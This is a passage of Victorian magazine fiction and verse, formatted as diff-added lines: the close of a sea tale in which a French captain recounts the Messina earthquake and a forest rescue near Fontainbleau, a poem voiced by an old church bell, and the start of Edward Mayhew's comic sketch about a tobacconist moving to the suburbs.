+sum, with which I traversed Corsica, and from thence embarked for
+Sicily, where I narrowly escaped one of those dreadful visitations
+which swallowed up so many thousands in its vortex. At Messina, where
+I obtained temporary employ, one great source of delight to me was
+standing on the rocky shore and viewing the fearful commotion of the
+waters, as they rushed through the straits. To witness this spectacle I
+have walked miles; and the roaring and tumbling of the billows excited
+in my heart feelings of joyous pleasure. I had frequently observed a
+youth of my own age similarly engaged. He stood with his arms behind
+him looking down upon the troubled ocean, as if he wished to penetrate
+its hidden depths, and search for undiscovered mysteries; he seemed
+to view it as a monster with which he longed to cope, but was coolly
+calculating the most appropriate method of effecting his purpose. His
+dress was rather superior to mine, and he affected a dignity which
+did not suit my companionable qualities. We never spoke; but whilst I
+hurled the largest stones that I could lift into the boiling foam, and
+saw them, heavy as they were, thrown floating on the surface by the
+bubbling fury of the swelling billows, he looked calmly on, disdaining
+to move a muscle of his countenance, though his brilliant eyes were
+lighted up, and seemed to flash with intense delight. Sometimes I made
+approaches to familiarity, but he cautiously repulsed all attempts at
+acquaintance; and at length I forbore. Monsieur has been to Messina?"
+
+Lord Eustace bowed acquiescence.
+
+"It is a beautiful place, and I loved to look at the white buildings
+thrown out in strong relief by the dark green forests behind them. My
+evenings, when my occupation would admit, were passed upon the Marina,
+watching the setting sun. One day I had walked to my usual spot for
+witnessing the contest of the currents; and, as I had frequently done
+before, I stripped, and plunged into the wave at a place where the
+eddies had hollowed out an artificial bay. I loved to breast the surge,
+to dash aside the threatening breaker, or dive beneath its power. My
+limbs were strong and pliant; I was fearless in an element that is
+seldom, if ever, conquered. The afternoon was sultry; there was an
+oppressive heat, that seemed to steam from both land and water, for the
+atmosphere above was clear and shining. My star had shone but dimly
+the night before, portending danger; yet I knew not from what quarter
+to expect it. After bathing, I dressed, and seated myself upon a rock,
+enjoying the scene, when, on turning my head, I beheld the youth I
+have mentioned at no great distance from me, standing on the extreme
+angle of low rock that jutted into the sea. He looked more serious and
+sedate than ever; there was a cast of melancholy on his features, and
+he seemed to be involved in intensity of thought. Suddenly a darkness
+overspread us, a heavy gloom arose; it was the work of a moment; I
+felt my earth-embedded seat lifted up, and oscillating to and fro. I
+saw huge pieces of solid rock rent from their mountain fastnesses,
+and hurled, crashing and thundering, into the torrent that roared and
+raged with unusual fury below. I beheld a wall of water rushing through
+the strait, and, calling to mind the dimness of my star, I knew the
+hour of trial was come: but I was too elevated to fear that mass of
+liquid element that swept every thing before it, though the strife
+that was apparently going on within the very bowels of the earth
+left me but small prospect of escape. The awful phenomenon at first
+paralysed my faculties, and I forgot the pale youth for the moment;
+but, on looking again towards him, there he stood, still gazing on the
+deep, whilst the heavy shocks of the earthquake were opening graves
+for his fellow-creatures. Onward rushed the perpendicular wave, and in
+an instant he was swept from his position into the maddened vortex of
+the hissing foam. I saw the catastrophe, monsieur, and for a second or
+two my spirit exulted in his overthrow; 'But he has parents,' thought
+I, 'they will moan his loss; and yet I cannot save him if I would.'
+The youth had disappeared beneath the mighty swell that inundated all
+the adjacent shore; but again he arose upon the surface, and was borne
+rapidly along past the spot where I was stationed. I had no home, no
+parents, no one who cared for the destitute outcast, not a creature in
+existence whose heart beat with affection for the child of misery; if I
+perished, I perished, and there would be none to weep for me. Without
+hesitation I sprang into that hissing foam, and was instantly thrown
+half body out again by the turbulence of the underset, as it forced
+itself to the surface. I struck out steadily and strongly with my arms
+and feet, but could preserve very little command as the impetuous
+waters rolled me over and over; but still I neared the object of my
+solicitude, who kept afloat, and at length I was by his side. Yet what
+could I do to aid him in his peril? 'Lift your head well up!' exclaimed
+I; 'strike out boldly with the current. I will not leave you.' He
+gave me one look; it was full of calm pride. I saw he was getting
+weak and required help, yet he disdained to ask for it. _Mon Dieu!_
+but that was a struggle for existence! and momentarily was strength
+failing in that youth, whilst I felt my own gradually grow less.
+'Dive!--dive!' shouted I, as I beheld that gigantic wave returning, in
+all its terrible vengeance, to meet us; 'dive for your life!' But he
+was nearly insensible to my call. I seized him by the shoulder, forced
+him under as far as possible, and the enormous billow passed above our
+heads. Once more the light of Heaven was on us,--once more we could
+see the blue expanse as if resting like a canopy on the summits of the
+mountains, and the eddy had whirled us to the entrance of an inlet,
+where the water was comparatively tranquil. 'Save yourself,' said my
+companion, 'I will do my best to follow. Save yourself, my friend.' I
+know not how it was, but the appellation, 'my friend,' seemed to instil
+fresh vigour into me. 'I will not abandon you,' shouted I; 'and, if you
+can fetch the cove, we are both saved.'--'It is impossible,' answered
+he; 'run no further hazard on my account.' His head was drooping,
+nature was nearly exhausted; he swam deep, and I became sensible that,
+unless by some desperate impulse, I could not save him. I swam close
+to him, gave him one end of my neckerchief, and told him to grip it
+tight; the other end I fixed between my teeth, and boldly tried for the
+inlet. A wave assisted my endeavours; the swell bore me onward, but
+it was towards a point where the sea was breaking fearfully high, and
+the passage to the inlet was extremely narrow. My companion complied
+with my injunctions; yet I could not forbear shuddering when I looked
+at the craggy barrier that seemed to foretell our fate. We neared the
+rocks, and, had the swell been rolling in, must have been dashed to
+pieces; but, just as we approached, the wave was receding; it carried
+us into the inlet stream. Hope cheered me on a few strokes more: the
+water was undulating, but smooth; but that youth, that pale youth, had
+disappeared. Still he could not be far distant. I turned, and dived;
+long practice had rendered me perfectly familiar with the art. I saw
+him sinking,--almost helpless; he was near the bottom. I went down
+after him even lower, and, taking renewed impetus from striking my feet
+against the ground, I bore him once more to the surface. The land was
+only a few yards distant, but his weight overpowered me. I struggled
+hard to gain the shore. Despair began to take possession of my mind; it
+rendered me desperate. A few feet was all that divided us from safety,
+when a dizziness came over me, my brain whirled, the waters were over
+my mouth; I thought of the dimness of my star, and believed my minutes
+were numbered. Another rally from the heart produced another effort;
+my hands were on the rocks. I grappled them, but my fingers could not
+retain their clutch; I slipped away: the water was deep even there,
+and death seemed certain. Oh, God! how dreadful was that moment of
+suspense! The burthen, which I still sustained, was inanimate, and I
+was about to loose my hold of him, when another gigantic wave swept in;
+it lifted me on to the flat that I had been striving for; it receded,
+and left us on hard ground: the ocean had lost its prey. I stripped my
+young companion, chafed his limbs; his heart still beat, and in about
+half an hour he evinced signs of returning consciousness. That moment
+was to me one of the happiest of my existence. In another hour he was
+perfectly restored, though weak; and, leaning on my arm, we proceeded
+towards the town. But where was Messina? that beautiful Messina that
+we had quitted so recently? A mass of ruins! A scene of indescribable
+confusion and dismay! The inhabitants had thronged to the mountains
+for a place of refuge; and, as we entered the deserted streets, a
+death-like stillness prevailed, broken only by the deep groan or the
+shrill shriek of those who yet remained alive with shattered frames and
+broken limbs, unable to escape. Houses were levelled with the ground.
+Here yawned a hideous chasm that had buried its living victims; there
+lay huge masses of stone with crushed and mutilated bodies beneath
+them,--the dead and the dying. Oh! my lord, it was a fearful spectacle,
+and my spirit drank in all its horrors. We sought the humble residence
+in which I had found an asylum; no vestige of it remained. We looked
+for the more noble mansion in which my companion had taken up his
+abode; it was a chaos. Food there was plenty, Faro wine in abundance;
+and we amply refreshed ourselves, whilst I own my heart swelled with
+pride at the thought that we were the masters in this once noble city.
+My companion expressed his gratitude for the services I had rendered
+him; but he did it proudly. He said he was going to France; and my
+heart yearned to revisit my native land. I remembered Madame T----, and
+the solemn pledge I had given her: I longed to see Paris,--that Paris
+of which I had heard so much; and I earnestly brooded on the schemes
+which were to level royalty to the dust. You will say I was but a boy.
+True! But what instruction was to others, deadly revenge was to me; it
+had been my lesson conned at every season, my sole education,--and my
+teacher fully competent to superintend her pupil.
+
+"But Messina!--there it lay prostrate with the dust; churches thrown
+down, and the sacred vestments scattered; public buildings in wreck,
+hotels and palazzos as if they had never been. We were standing in the
+square, when another shock tumbled the fragments hither and thither,
+mingling them in greater confusion. My companion was for hastening
+up the eminences to see who had escaped: I preferred remaining, as
+all places were alike to me; besides, I was poor, wretchedly poor,
+and there was the prospect of gold to be obtained. The pale youth did
+not tell me his name, nor did I think to ask it: he gave me a small
+silver medal that he had worn round his neck by way of remembrance,
+and I presented him with a flat piece of whalebone on which in my idle
+hours I had rudely carved my name. We parted, and in a short time my
+hazardous enterprise was richly recompensed. I found what I coveted,
+gold! I filled my slender pockets, and yet there was gold; I dug a
+hole and buried my treasure, but still wealth almost unbounded lay
+scattered in the streets. I hastened to the harbour; wrecks and dead
+bodies were everywhere floating. A boat was drifting near the quay,
+and, having secured her, I hastened back to the place where my riches
+were concealed. But the marauders had entered the town, and I feared
+that they would plunder me; so I returned to the boat and shoved off
+from the shore, and there I lay in her bottom as she drove into the
+bay, dreading detection, and fearing to lose my ill-acquired wealth.
+I had been contented with a little when only a few copper coins had
+been my fortune; but, now I was possessed of gold, I coveted that
+which I had left behind. A brigantine that was making her escape from
+the devastation picked me up. I offered the captain gold to give me a
+passage to whatever place he might be going. My dress and appearance
+bespoke poverty,--the glittering coin betrayed me: I was stripped
+of every ducat, thrust into the boat again, and cast adrift upon a
+tempestuous night. The only valuable I retained was the medal which I
+slung round my neck next to my skin.
+
+"Dark and dreary was the tumultuous ocean as my little vessel floated
+at the mercy of the wind and sea; the gale howled fearfully over me,
+the waves rolled angrily beneath me; no star illumined the vault of
+heaven; but there was a glowing brilliancy of sparkling lustres on the
+waters, as if the caverns of the deep had sent forth their gems to
+supply the defection of the starry host. The billows threw up their
+haughty heads crested with feathery foam, and the spray saturated
+my clothes through and through: but the weather was warm to a child
+of the North; and thus I continued for many long lonely hours, till
+daylight once again appeared. And such a daylight! The storm had passed
+away,--the gorgeous splendour of the sun as he arose from the horizon
+was worth all the pain I had endured only to witness; but his cheering
+rays came as kindly to my heart as they were welcome to my person.
+It was like the smiling face of a friend to gladden the spirit in
+adversity. I was at no great distance from the shore; yet so beautiful
+was the scene, that, but for hunger, I should have been contented to
+have remained gazing on the spectacle. The cravings of nature, however,
+were powerful; I paddled to the rocks, landed, and hurried back to that
+remnant of a town I had been so eager to quit. I found no difficulty
+in appeasing my appetite: the inhabitants were returning in groups to
+weep over their shattered dwellings, and, as they looked mournfully on
+each other, most of them were uttering lamentations for a relative
+or a friend. Piece by piece I was enabled to change my dress, and
+make a more creditable appearance; and this, too, without being over
+scrupulous as to the appropriation. I was unknown to every one, for
+nobody remembered the poor child of labour. I made inquiry after my
+companion of the former day, but could gain no intelligence of him;
+and thus I wandered amongst the dust and ashes of ruins, an observer
+unheeded and uncared for.
+
+"But I well remembered the spot where I had hidden my treasure, and,
+when the shades of evening shrouded the surrounding objects in their
+gloom, I went stealthily towards it. No language can adequately
+describe the perturbation of my mind; hope and fear, anticipations of
+good and evil, the pleasures of anxious expectation, and the dread of
+bitter disappointment, alternately held their influence over me. I
+had not a marvedi in the world; but, if the place of concealment was
+untouched, I was the possessor of wealth beyond my most sanguine wants
+for years. I beheld the stone which I had rolled over the excavation,
+at once to hide and to direct; its position was unchanged. I gazed
+earnestly around,--I listened for a sound; but all was solitary and
+silent. In ecstasy I rolled away the obstruction, thrust in my arm,
+and, whilst my fingers clutched the golden heaps, my breast was on the
+earth, and I could hear the beatings of my heart. Thus I lay for some
+time indulging in delicious dreams of future enjoyment, not unmingled,
+however, with those contemplations which had become harmonised with
+every action of my existence. At various intervals I removed my gold
+to a place of greater security, and soon after availed myself of an
+opportunity of returning to Toulon with the captain who had first of
+all landed me in Corsica. Oh, what anxious moments did I pass lest
+another discovery should deprive me of my store! I did not dare to
+close my eyes in sleep, lest my person or my small matter of luggage
+should be searched. I no longer threw myself heedlessly down in any
+spot to court repose. Suspicion and distrust poisoned the very source
+of pleasure; I looked upon all men as my enemies, because I could
+confide in none. But I reached Toulon unmolested, and without loss of
+time I hastened to the cottage of Madame T----, vain-glorious of my
+achievement----"
+
+"Which, to my mind, looks most d----ly like thieving, monsieur," said
+Lord Eustace warmly.
+
+"My lord, I am sensible of the wrong I perpetrated," responded Citizen
+Begaud; "but you seem to forget I was a boy, steeped in poverty to
+the very lips, bound by a solemn pledge to a certain purpose, through
+influences that had actuated me from my earliest remembrances. I looked
+upon the gold as a means to further my views. I had no guide for my
+youth, and my star----"
+
+"Was, it seems, anything but an honourable one," added Lord Eustace,
+interrupting him. "Yet, monsieur, I own your narrative has interested
+me; and, under the hope that there is something of a redeeming quality
+yet to come, I earnestly request the favour of its continuation."
+
+The Frenchman bowed, and darkness hid both the frown on his brow and
+the flush of anger on his cheek.
+
+"Madame T---- had left the neighbourhood of Bordeaux, and gone to
+Paris. Thither I followed; but all my efforts were unavailing to
+discover her habitation. The internal state of the city was that of
+dissatisfaction with the ruling powers; plots and conspiracies were
+hatched, quarrels fomented, and the seeds of discord were rapidly
+swelling to burst the earth that covered them, and spread into a tree
+of monstrous growth. The _intriguantes_ industriously circulated
+reports of the queen and the nobility, that were eagerly swallowed
+by the lower orders, to increase and justify their hostility to the
+great. At first I kept aloof from any decided course, and for two
+years was a silent observer of all that was passing around me. I lived
+frugally, so as neither to excite envy nor create suspicion; and I
+saw with inexpressible satisfaction that the machinery was putting
+together that would, when brought into full operation, decide the fate
+of the Bourbons. I was almost daily in the vicinity of the palaces, and
+frequently, whilst gazing on the beauty of the queen, my purposes were
+shaken. Numerous opportunities offered to deprive the sovereign of his
+life; but I disdained to become an assassin. Besides, it was not Louis
+alone whose downfall I had been taught to consider an act of justice.
+It was the whole of the privileged orders, of which he was the head and
+chief; and a blow at him would have aroused the aristocrats to a sense
+of impending danger.
+
+"Such was the position of my own and public affairs when I had
+attained my seventeenth year. But I had not passed the intermediate
+time in indolence. I went to school, I studied hard, became an expert
+swordsman, and tolerably proficient in the branches of general
+education: I perused the works of authors both dead and living; I
+tested their writings by a careful examination of men and manners.
+But I had yet much to learn. One day I made an excursion on horseback
+to Fontainbleau; the royal family were at the palace, and there was a
+young female in the suite of her majesty--Why should I withhold the
+fact? Monsieur, my soul was captivated by that angelic girl. I was not
+aware that she had ever noticed or even seen me so as to recall my
+features to remembrance; I had made no show of my attachment beyond
+that silent adoration of the heart which the countenance is but too apt
+to reveal. She it was who drew me towards Fontainbleau, under the hope
+of obtaining a casual glance. I was wandering in the forest, nursing
+the secret thoughts of her who controlled my actions: evening came
+on, and darkness surprised me in one of the most retired parts. I was
+too well inured to privations to heed the occurrence. The night was
+serene and warm, and I prepared to pass it beneath the branches of some
+venerable tree; in fact, I was sitting down for the purpose of repose,
+when a shouting and the report of fire-arms at no great distance
+aroused me to energy. The direction of the parties was well defined:
+they might be friends or foes, honest men or thieves; to me it was a
+matter of indifference, for in either case I should find a guide out of
+the wood. Without a moment's hesitation I dashed through the tangled
+briers, and on a nearer approach ascertained that a deadly conflict was
+going on. A few minutes brought me to the scene of action; it was upon
+the main road which I had missed, and the opening between the trees
+admitted sufficient light to show two of the combatants stretched upon
+the ground. There were still two to two engaged with swords; but one
+of them fell soon after my arrival, and the survivor turned to assist
+his fellow against the only opponent left. Whilst they were upon an
+equality I did not care to interfere, especially as I knew not which
+was the injured party; but the odds decided me at once, and, snatching
+up a sword, I placed myself in attitude by the side of the solitary.
+My antagonist was a skilful swordsman; but I had time to observe that
+the individual whom I befriended was richly dressed, and by no means a
+master of his weapon, whilst the person opposed to him was greatly his
+inferior. I got close to him, parried a thrust from my own immediate
+_engagé_, and returned by a side sleight upon his comrade, who received
+it in his breast, and, staggering backwards with great violence, pulled
+the sword from my hand and left me at the mercy of the other. His pass
+was sure; but, dexterously evading it, the weapon only went through the
+fleshy part of my arm, and the force with which it was given brought
+it up to the hilt. We grappled together. I was young and vigorous, but
+he possessed all the muscular strength and power of manhood. I felt
+his grip upon my throat; we fell heavily together upon the earth. He
+retained his superiority above me; and strangulation was rapidly going
+on, when suddenly his hold relaxed, he sprang from me, rolled over
+and over, and then stretched himself stiffly out a lifeless corpse.
+The sword of the disengaged had passed through his heart. I was not
+long in recovering sensibility, and on raising my head saw that we
+were all down, wounded and bleeding. The gentleman in rich attire was
+seated with his back against a tree, wiping the perspiration from his
+forehead, and, on seeing me move, he exclaimed, 'Whoever you are, take
+my best thanks. If you live, I will prove my sense of the obligation by
+more than words; if you die, carry the gratitude of a nation with you
+before your maker. But how is it? are you seriously or mortally hurt?
+_Mon Dieu!_ this has been no boy's pastime, anyhow.' I assured him my
+injuries were not severe; and, to prove the truth of my assertion, I
+got up, went towards him, and tendered my assistance. '_Grace à Dieu!_'
+said he, 'I have only a few scratches. But we must not remain here:
+the rascals have driven off with the carriage to plunder it; they will
+return directly to help their comrades. Are all my fellows dead?'
+I felt the breasts of each to ascertain if there was any throbbing
+of the heart. One of the servants and two of the robbers were yet
+living, though desperately wounded, and I reported to that effect.
+'We can expect nothing from them,' said he, 'and therefore must trust
+to our own resources. You know the passages of the forest?' '_Non,
+monsieur_,' returned I. 'My acquaintance with the forest has been only
+that of a few hours. I am a stranger here, and was about to pass the
+night between the trees when I heard the report of fire-arms.'--'Ah!
+they shot my coachman,' said he, 'the villains; and my carriage has
+the edicts in it for the royal sign-manual, with other matters. Bah!
+there would be a pretty prize for the robbers did the rogues know
+their worth.' This was uttered to himself, and apparently not designed
+for me to hear. 'May I inquire the name and rank of the noble who so
+opportunely saved my life?' asked I.--'All in good time, young man;
+you should never listen to state secrets. Saved your life, eh? You
+have been to court and have learned to flatter. Abandon it, young man:
+flattery is bad enough in old age, but detestable from youth. I need no
+such incitements to remembrance. Help me rise.' I obeyed. 'And now,'
+continued he, 'we must find our way to the palace.'
+
+"My heart leaped with joy at the thought: I should see, I should be
+near the young Countess de M----. Ever prone to extravagance, the most
+preposterous hopes and prospects filled my mind: I laughed outright.
+'Are you mad?' inquired my companion. 'In what can you find cause for
+mirth?'--'The heart knoweth its own bitterness,' returned I, 'and a
+stranger intermeddleth not with its joy,'--'True, true,' responded
+he. 'But come, let us strive to find our way.' He put his arm within
+mine, and silently we traced the road for about two miles, when we
+came to one of the lodges that formed a residence for a keeper, and
+here we obtained horses and a guide, and in less than half an hour
+we were within the walls of that venerable building the palace of
+Fontainbleau. My companion had gained a ready admittance; his word of
+command was almost electric, and at first I thought it was the Duke
+of Orleans, but that his visit to the royal family would be deemed an
+insult. At all events I was consigned to the care of an officer of the
+household, and I had no cause to complain of my treatment. After the
+lapse of an hour, an attendant summoned me to wait upon the individual
+I had so timely rescued. My dress, from being torn by the brambles,
+certainly was not much suited for the ostentatious gaiety of a court
+at a period when extravagant profusion was considered as essential to
+the prosperity of the nation; nor had it lost anything by the struggle
+on the ground with the bandit. Still I obeyed without hesitation; and,
+after passing through several gorgeous apartments, an officer with
+a white wand arrested our further progress. He then tapped gently
+at an inner door; there was the tinkling of a bell, the portal flew
+back, and within was a resplendent blaze of light that dazzled and
+confounded me. I was reassured, however, by the voice of my companion,
+who uttered in a low voice, 'Enter, young man;' and obeying, I found
+myself in the presence of the king and queen. Louis was seated at a
+table covered with toys, and the young prince was on his knee. Marie
+Antoinette was watching with the eye of maternal affection the playful
+delight of her child; and, much as I had imbibed an undeviating hatred
+to royalty, I could not behold the spectacle unmoved. Near her majesty
+stood the young Countess de M----, and the fascination of her beauteous
+eye enchained my faculties. In a few minutes the queen and her suite
+retired, and my companion questioned me in the presence of the monarch
+relative to my station in life, the cause of my being in the forest,
+and on several other topics, all which I answered as best suited my own
+purposes. Louis spake kindly to me, but his very kindness filled my
+heart with bitter feelings; and when, turning to my companion of the
+forest, he said, 'Monsieur Calonne, we must find some fitting service
+for this youth,' I could have stabbed him through and through. This,
+then, was Monsieur Calonne, the head of the ministry,--he who had
+dared to propose a tax upon the privileged orders, and had assembled
+the Notables to shame them into compliance with his scheme; this was
+the man who had plunged the finances of the country into confusion
+and ruin, for the purpose of bringing down the pride of the nobles
+and the clergy, who had raised him to his elevated exaltation. His
+place was one of danger and distrust: he aimed a severe blow at the
+privileged orders, without conciliating the people; for, though the
+latter applauded the equalizing system, yet they despised the minister
+who, by his reckless profusion, was involving them in ruin. That night
+I retired----"
+
+"Sail, ho!" was shouted from the forecastle, and Lord Eustace
+immediately started from his attitude of deep attention.
+
+"Whereabouts is she?" demanded the officer of the watch, his voice
+reverberating amongst the sails, and the most profound stillness
+reigning fore and aft.
+
+"Broad away on the starboard bow, sir," replied the look-out; and
+Lord Eustace, being furnished with his night-glass, walked forward to
+examine the stranger, leaving the recital of Citizen Captain Begaud to
+be finished at another opportunity.
+
+
+
+
+SONG OF THE OLD BELL.
+
+
+    In an old village, amid older hills,
+    That close around their verdant walls to guard
+    Its tottering age from wintry winds, I dwell
+    Lonely, and still, save when the clamorous rooks
+    Or my own fickle changes wound the ear
+    Of Silence in my tower!
+                                           ANON.
+
+    For full five hundred years I've swung
+      In my old grey turret high,
+    And many a different theme I've sung
+      As the time went stealing by!
+    I've peal'd the chaunt of a wedding morn;
+      Ere night I have sadly toll'd,
+    To say that the bride was coming, love-lorn,
+      To sleep in the church-yard mould!
+            Ding-dong,
+                    My careless song;
+            Merry and sad,
+                    But neither long!
+
+    For full five hundred years I've swung
+      In my ancient turret high,
+    And many a different theme I've sung
+      As the time went stealing by!
+    I've swell'd the joy of a country's pride
+      For a victory far off won,
+    Then changed to grief for the brave that died
+      Ere my mirth had well begun!
+            Ding-dong,
+                    My careless song;
+            Merry or sad,
+                    But neither long!
+
+    For full five hundred years I've swung
+      In my breezy turret high,
+    And many a different theme I've sung
+      As the time went stealing by!
+    I have chimed the dirge of a nation's grief
+      On the death of a dear-loved king,
+    Then merrily rung for the next young chief;
+      As _told_, I can weep or sing!
+            Ding-dong,
+                    My careless song;
+            Merry or sad,
+                    But neither long!
+
+    For full five hundred years I've swung
+      In my crumbling turret high;
+    'Tis time my own death-song were sung,
+      And with truth before I die!
+    I never could love the themes they gave
+      My tyrannized tongue to tell:
+    One moment for cradle, the next for grave--
+      They've worn out the old church bell!
+            Ding-dong,
+                    My changeful song;
+            Farewell now,
+                    And farewell long!
+                                               W.
+
+[Illustration: Midnight Mishaps]
+
+
+
+
+MIDNIGHT MISHAPS.
+
+BY EDWARD MAYHEW.
+
+WITH AN ILLUSTRATION BY GEORGE CRUIKSHANK.
+
+
+Oh the rural suburbs of London!--the filthy suburbs!--where nothing is
+green but the water, nothing natural but the dirt,--where the trees
+are clipt into poles, and the hedges grow behind palings,--where "no
+thoroughfare" forbids you to walk in one place, and the dust prevents
+you from walking in another,--the filthy suburbs!
+
+It was these delightful precincts of peace and "_caution_," retirement
+and "_handsome rewards_," that Mr. Jacob Tweasle honoured with his
+decided preference. This gentleman had inhabited a small shop at the
+foot of Snow-hill for more than forty years, retailing tobacco to the
+tradesmen, and cigars to the apprentices; and, having by supplying
+other people's boxes gradually filled his own, he, how in his sixtieth
+year, declined the manufacture of weeds for the cultivation of exotics.
+
+An "Italian villa," beautifully situated in a back lane near Hornsey,
+was pointed out to the tobacconist by a house-agent as particularly
+"snug and retired." Before the ostentatious white front of this
+"enviable residence" were exactly twenty square yards of lawn,
+"delightfully wooded" by a solitary laburnum, which was approached over
+a highly "ornamental Chinese bridge," crossing "a convenient stream
+of water." The interior of the building it was "impossible for the
+most fastidious to object to;" the rooms were so low, and the windows
+so small, that the happy occupant always imagined himself a hundred
+miles from the metropolis; the prospect, too, from the upper stories
+"revelled in all the luxuries of the picturesque;" the dome of St.
+Paul's lent magnificence to the distance, while the foreground was
+enlivened by a brick-field.
+
+Mr. Tweasle saw, approved, yet doubted. He did not know what to say
+to it. There was, he acknowledged, everything that heart of man could
+desire; the garden was walled in, and the steel-traps and cabbages
+might be taken as fixtures; nevertheless he reached the bridge without
+having made up his mind. There he paused, and gazed in anxious
+meditation upon the black and heavy liquid that stagnated beneath.
+"Can one fish here?" suddenly asked the tobacconist, at the same time
+leaning over and disturbing the "convenient stream of water" with his
+cane.
+
+"_I_ never do myself," replied the agent, in such a manner as to imply
+that other people frequently did; for Tweasle instantly inquired,
+
+"What do they catch?"
+
+The agent was puzzled. Was the Londoner really ignorant, or was this
+a design to test the truth of all his former assertions? It was a
+case which required extreme caution. "I am no angler myself,--I have
+no time for that delightful recreation; but--I should think--that
+eels--eels--probably--eels--might----"
+
+"Stewed eels make a nice supper," interrupted Tweasle with gluttonous
+simplicity. "Fish arn't to be got fresh in London."
+
+"Fish ought to be eaten the moment it is taken from the water," cried
+the agent with decision.
+
+"My boy's got a fishing-rod," said Tweasle; and he took the Italian
+villa on a repairing lease.
+
+The announcement of this event created a "sensation" at the foot of
+Snow-hill; the Rubicon was past; the business _was_ to be disposed of;
+and, that no time might be lost, Mr. Tweasle, without taking off his
+gloves, began to scribble an advertisement, while Mrs. Tweasle waddled
+into the shop and insulted a customer.
+
+All was confusion. To fly from the paternal protection of the Lord
+Mayor, and emigrate off the stones, was no casual event to him who had
+hitherto proudly exulted in the freedom of the city. Much was necessary
+to reconcile the mind to so bold a measure. The lady undertook to pack
+up everything that could be got in London, and purchase everything that
+could not be got in the country. The gentleman, acting as a man should,
+wholly neglected the domestic. He gave his attention to the noble arts
+of agriculture and self-defence, botanical theories, treatises, and
+directories. Horticultural implements, instruments, and improvements,
+swords and pistols, guns and blunderbusses, detonating crackers for the
+shutters, and alarums for the bedrooms, he spared neither trouble nor
+expense to procure.
+
+"Now, Hanney, dear," said Tweasle to his wife, surveying the weapons
+which had just been sent home, "I thinks here's everything a contented
+mind could desire: the thieves will know better than to come where we
+are."
+
+But the timid woman's ideas of defence were concentrated in a flannel
+gown and a rattle; she looked more terrified than assured:--fire-arms
+and accidents were, in her mind, synonymous; and her only answer was an
+urgent entreaty that "those nasty things might be always so locked up
+that _nobody could_ get at them."
+
+In due time everything that the family thought they could possibly want
+was procured; and when, to render the whole complete, Master Charles,
+only son and heir, was commissioned to procure live stock from St.
+Giles's, the boy returned with almond tumblers for pigeon-pies, and
+bantam-cocks for poultry.
+
+"New-laid eggs for breakfast!" chuckled his papa.
+
+All being at length ready for starting on the following day, and as
+the house was dismantled even to the junction of the bed-posts, the
+family determined to pass their last evening in London, whispering soft
+adieus to their more intimate acquaintance. At first Tweasle conducted
+himself with becoming hypocrisy. He lamented his separation from the
+"friends of his youth," and ate cake and drank wine with imposing
+solemnity; but, as the ceremony was repeated, he committed himself by
+an occasional smile, and at last slipped out something about "poor
+devils, who were smoked to death like red herrings." Mrs. Tweasle was
+shocked, and hurried her husband away; who, however, warmed into truth,
+would not acknowledge his error or go to bed, but insisted on saying
+good-b'ye to his old friend Gingham. They found the Ginghams preparing
+for supper; and, on company arriving, the servant was whispered "to
+bring up the beef," which Tweasle overhearing, he turned to the
+hostess, and exultingly cried,
+
+"Come and see us in the country, and I'll give you stewed eels and
+chicken for supper."
+
+"I'm very sorry _we've_ nothing _better_ than cold beef to offer _you_,
+sir," replied the lady with a look; "but I can send out."
+
+"Not for the world!" shouted Mrs. Tweasle, who was rejoiced when a
+request to be seated relieved her from reiterating her conciliatory
+wishes that no one would mind her good man, who during supper would
+converse on no other subject than the pleasures of new-laid eggs and
+the country, till, having finished one glass of gin and water, he
+undertook to explain to his friend how it was that _he_ also could
+leave off business like a squire. Nor was this personal investigation
+of private family affairs rendered less unpleasant by the indelicate
+egotism which induced the exhibitor to illustrate his friend's faults
+by his own virtues; till, though repeatedly requested to "drop it,"
+Tweasle wound up his harangue by calling his host a fool.
+
+"You're a fool, Gingham. You might ha' been as well off as I am at the
+present moment, if you hadn't lived at such a rate, like a fool."
+
+The lady of the house instantly arose, and left the room in company
+with her daughters, telling Mr. Tweasle "_they_ were going to bed;" and
+Mr. Gingham leant over the table to inform his guest, "he had no wish
+to quarrel."
+
+Of the rest of that evening Tweasle the next day retained a very
+confused recollection. He thought some one pushed him about in a
+passage, and remembered his wife's assisting him to put on his
+great-coat in the middle of the street.
+
+At the appointed hour, the glass-coach which was to convey the family
+from London stopped at the foot of Snow-hill. Mr. Tweasle was the first
+to jump in; the person to whom the business had been advantageously
+disposed of, gave his hand to Mrs. Tweasle, and then turned to say
+farewell to her husband.
+
+"All I've got in this blessed world I made in that shop," said Tweasle,
+anxious to give his successor a high opinion of the bargain, and leave
+a good name behind him. "The many--many--happy--peaceful days I've
+seen in it!--I can't expect to see them again!--On a Saturday and on a
+Monday I've often been fit to drop behind my own counter, quite worn
+out with customers. I'm afraid I've done a rash thing; but I've this
+consolation, I've left the business in good hands."
+
+"Come, don't look dull, Tweasle," cried his wife, who was imposed on by
+her husband's pathetics: "cheer up! You know trade ain't what it was,
+and I'm sure the two last years must have been a 'losing game.'"
+
+It is impossible to say whether he who had bought or he who had
+sold the business looked most appalled by this untimely truth.
+However, Tweasle was the first to recover himself: he took his victim
+affectionately by the hand, and, leaning forward, whispered in
+propitiatory confidential accents, "Always put a little white pepper in
+Alderman Heavyside's Welsh, or he'll think you've adulterated it."
+
+But the successor was hurt past such slender consolation. With lofty
+integrity he spurned the advice of his deceiver; for, jerking his hand
+away, and looking Tweasle sternly in the face, he said, "Sir, I shall
+do my duty!" and he strutted into the shop; whereupon the coach began
+to move.
+
+Disposed by this little incident to sadness, its late occupant looked
+at the house till his eyes watered. He was no longer a "public
+man;" his opinion of the weather was now of no importance; he might
+henceforth loiter over his dinner undisturbed by any thought of the
+shop! Feelings such as these could not be suppressed, and Tweasle
+was about to apostrophise, when his gentle partner startled him by
+exclaiming,
+
+"Thank our stars, we're off at last!" and, catching a glimpse of the
+house as the coach turned into Hatton-garden, she added, "there's the
+last of it, I hope; I never wish to set eyes on the hole again!"
+
+"Don't be ungrateful," said Tweasle, chidingly. "That roof has
+sheltered me near forty years."
+
+"Well, it was a nuisance to live in it,--no place to dry a rag in but
+the servant's bed-room."
+
+"And Martha made you give her rum and water, mother, or else she
+_would_ catch cold," added the son.
+
+"Stop there!--stop there!--stop!" a voice was heard to cry.
+
+"That can't be for us," observed Mrs. Tweasle.
+
+As if in the spirit of matrimonial contradiction, her husband the next
+moment exclaimed, "By George! it is though!"
+
+It proved to be a debtor, who had journeyed to London in consequence
+of some information which had been afforded him by an attorney. Three
+hundred and odd pounds were in his pocket ready for disbursement, if
+Mr. Tweasle would accompany him to an inn in the Borough, and there go
